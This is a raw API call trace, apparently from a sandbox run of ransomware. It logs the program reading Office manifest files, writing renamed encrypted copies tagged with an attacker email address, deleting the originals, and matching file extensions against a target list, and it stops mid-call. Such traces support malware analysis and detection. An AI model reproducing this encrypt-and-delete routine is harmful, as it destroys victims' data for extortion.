[0179.283] WriteFile (in: hFile=0x380, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x3df20, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x3df20, lpOverlapped=0x0) returned 1 [0179.287] ReadFile (in: hFile=0x31c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.287] WriteFile (in: hFile=0x380, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x13e, lpOverlapped=0x0) returned 1 [0179.287] SetEndOfFile (hFile=0x380) returned 1 [0179.287] CloseHandle (hObject=0x380) returned 1 [0179.291] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.291] SetEndOfFile (hFile=0x31c) returned 1 [0179.293] CloseHandle (hObject=0x31c) returned 1 [0179.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0179.293] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 1 [0179.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0179.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0179.294] lstrlenW (lpString=".doc") returned 4 [0179.294] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0179.294] lstrlenW (lpString=".docx") returned 5 [0179.294] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0179.294] lstrlenW (lpString=".pdf") returned 4 [0179.294] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0179.294] lstrlenW (lpString=".xls") returned 4 [0179.294] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0179.294] lstrlenW (lpString=".xlsx") returned 5 [0179.294] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0179.294] lstrlenW (lpString=".ppt") returned 4 [0179.294] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0179.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0179.294] lstrlenW (lpString=".zip") returned 4 [0179.294] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0179.294] lstrlenW (lpString=".rar") returned 4 [0179.294] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0179.294] lstrlenW (lpString=".bz2") returned 4 [0179.294] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0179.294] lstrlenW (lpString=".7z") returned 3 [0179.294] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0179.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0179.294] lstrlenW (lpString=".dbf") returned 4 [0179.294] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0179.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0179.294] lstrlenW (lpString=".1cd") returned 4 [0179.295] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0179.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0179.295] lstrlenW (lpString=".jpg") returned 4 [0179.295] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0179.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0179.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0179.295] lstrlenW (lpString=".doc") returned 4 [0179.295] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0179.295] lstrlenW (lpString=".docx") returned 5 [0179.295] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0179.295] lstrlenW (lpString=".pdf") returned 4 [0179.295] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0179.295] lstrlenW (lpString=".xls") returned 4 [0179.295] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0179.295] lstrlenW (lpString=".xlsx") returned 5 [0179.295] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0179.295] lstrlenW (lpString=".ppt") returned 4 [0179.295] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0179.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0179.295] lstrlenW (lpString=".zip") returned 4 [0179.295] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0179.295] lstrlenW (lpString=".rar") returned 4 [0179.295] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0179.295] lstrlenW (lpString=".bz2") returned 4 [0179.295] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0179.295] lstrlenW (lpString=".7z") returned 3 [0179.295] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0179.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0179.295] lstrlenW (lpString=".dbf") returned 4 [0179.295] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0179.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0179.295] lstrlenW (lpString=".1cd") returned 4 [0179.295] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0179.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0179.296] lstrlenW (lpString=".jpg") returned 4 [0179.296] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0179.296] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0179.296] lstrlenW (lpString="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 53 [0179.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0179.296] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=1261) returned 1 [0179.296] CloseHandle (hObject=0x31c) returned 1 [0179.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 0x220 [0179.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0179.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0179.297] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.297] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0180.283] GetLastError () returned 0x0 [0180.283] ReadFile (in: hFile=0x31c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0180.318] WriteFile (in: hFile=0x388, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0180.319] ReadFile (in: hFile=0x31c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.319] WriteFile (in: hFile=0x388, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x13e, lpOverlapped=0x0) returned 1 [0180.319] SetEndOfFile (hFile=0x388) returned 1 [0180.320] CloseHandle (hObject=0x388) returned 1 [0180.324] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.324] SetEndOfFile (hFile=0x31c) returned 1 [0180.325] CloseHandle (hObject=0x31c) returned 1 [0180.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0180.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 1 [0180.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0180.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0180.326] lstrlenW (lpString=".doc") returned 4 [0180.326] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0180.326] lstrlenW (lpString=".docx") returned 5 [0180.326] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0180.326] lstrlenW (lpString=".pdf") returned 4 [0180.326] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0180.326] lstrlenW (lpString=".xls") returned 4 [0180.327] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0180.327] lstrlenW (lpString=".xlsx") returned 5 [0180.327] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0180.327] lstrlenW (lpString=".ppt") returned 4 [0180.327] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0180.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0180.327] lstrlenW (lpString=".zip") returned 4 [0180.327] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0180.327] lstrlenW (lpString=".rar") returned 4 [0180.327] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0180.327] lstrlenW (lpString=".bz2") returned 4 [0180.327] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0180.327] lstrlenW (lpString=".7z") returned 3 [0180.327] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0180.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0180.327] lstrlenW (lpString=".dbf") returned 4 [0180.327] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0180.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0180.327] lstrlenW (lpString=".1cd") returned 4 [0180.327] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0180.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0180.327] lstrlenW (lpString=".jpg") returned 4 [0180.327] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0180.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0180.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0180.328] lstrlenW (lpString=".doc") returned 4 [0180.328] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0180.328] lstrlenW (lpString=".docx") returned 5 [0180.328] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0180.328] lstrlenW (lpString=".pdf") returned 4 [0180.328] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0180.328] lstrlenW (lpString=".xls") returned 4 [0180.328] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0180.328] lstrlenW (lpString=".xlsx") returned 5 [0180.328] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0180.328] lstrlenW (lpString=".ppt") returned 4 [0180.328] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0180.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0180.328] lstrlenW (lpString=".zip") returned 4 [0180.328] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0180.328] lstrlenW (lpString=".rar") returned 4 [0180.328] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0180.328] lstrlenW (lpString=".bz2") returned 4 [0180.328] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0180.328] lstrlenW (lpString=".7z") returned 3 [0180.328] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0180.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0180.328] lstrlenW (lpString=".dbf") returned 4 [0180.328] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0180.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0180.328] lstrlenW (lpString=".1cd") returned 4 [0180.328] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0180.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0180.329] lstrlenW (lpString=".jpg") returned 4 [0180.329] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0180.329] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0180.329] lstrlenW (lpString="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 53 [0180.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0180.329] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=1124942) returned 1 [0180.329] CloseHandle (hObject=0x31c) returned 1 [0180.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0180.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0180.330] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.330] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0180.330] GetLastError () returned 0x0 [0180.330] ReadFile (in: hFile=0x31c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0180.404] WriteFile (in: hFile=0x388, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0180.419] ReadFile (in: hFile=0x31c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x12a5e, lpOverlapped=0x0) returned 1 [0180.434] WriteFile (in: hFile=0x388, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x12a60, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x12a60, lpOverlapped=0x0) returned 1 [0181.012] ReadFile (in: hFile=0x31c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.012] WriteFile (in: hFile=0x388, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x13e, lpOverlapped=0x0) returned 1 [0181.012] SetEndOfFile (hFile=0x388) returned 1 [0181.559] CloseHandle (hObject=0x388) returned 1 [0181.710] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.710] SetEndOfFile (hFile=0x31c) returned 1 [0181.711] CloseHandle (hObject=0x31c) returned 1 [0181.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0181.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 1 [0181.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0181.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0181.712] lstrlenW (lpString=".doc") returned 4 [0181.712] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.712] lstrlenW (lpString=".docx") returned 5 [0181.712] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.712] lstrlenW (lpString=".pdf") returned 4 [0181.712] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.712] lstrlenW (lpString=".xls") returned 4 [0181.712] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.712] lstrlenW (lpString=".xlsx") returned 5 [0181.712] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.712] lstrlenW (lpString=".ppt") returned 4 [0181.712] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0181.712] lstrlenW (lpString=".zip") returned 4 [0181.712] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.712] lstrlenW (lpString=".rar") returned 4 [0181.712] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.712] lstrlenW (lpString=".bz2") returned 4 [0181.713] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.713] lstrlenW (lpString=".7z") returned 3 [0181.713] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0181.713] lstrlenW (lpString=".dbf") returned 4 [0181.713] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0181.713] lstrlenW (lpString=".1cd") returned 4 [0181.713] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0181.713] lstrlenW (lpString=".jpg") returned 4 [0181.713] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0181.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0181.713] lstrlenW (lpString=".doc") returned 4 [0181.713] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.713] lstrlenW (lpString=".docx") returned 5 [0181.713] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.713] lstrlenW (lpString=".pdf") returned 4 [0181.713] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.713] lstrlenW (lpString=".xls") returned 4 [0181.713] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.713] lstrlenW (lpString=".xlsx") returned 5 [0181.713] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.713] lstrlenW (lpString=".ppt") returned 4 [0181.713] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0181.713] lstrlenW (lpString=".zip") returned 4 [0181.713] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.713] lstrlenW (lpString=".rar") returned 4 [0181.713] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.713] lstrlenW (lpString=".bz2") returned 4 [0181.713] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.714] lstrlenW (lpString=".7z") returned 3 [0181.714] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0181.714] lstrlenW (lpString=".dbf") returned 4 [0181.714] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0181.714] lstrlenW (lpString=".1cd") returned 4 [0181.714] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0181.714] lstrlenW (lpString=".jpg") returned 4 [0181.714] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.714] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0181.714] lstrlenW (lpString="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 53 [0181.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0181.714] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=357349) returned 1 [0181.714] CloseHandle (hObject=0x31c) returned 1 [0181.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 0x220 [0181.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 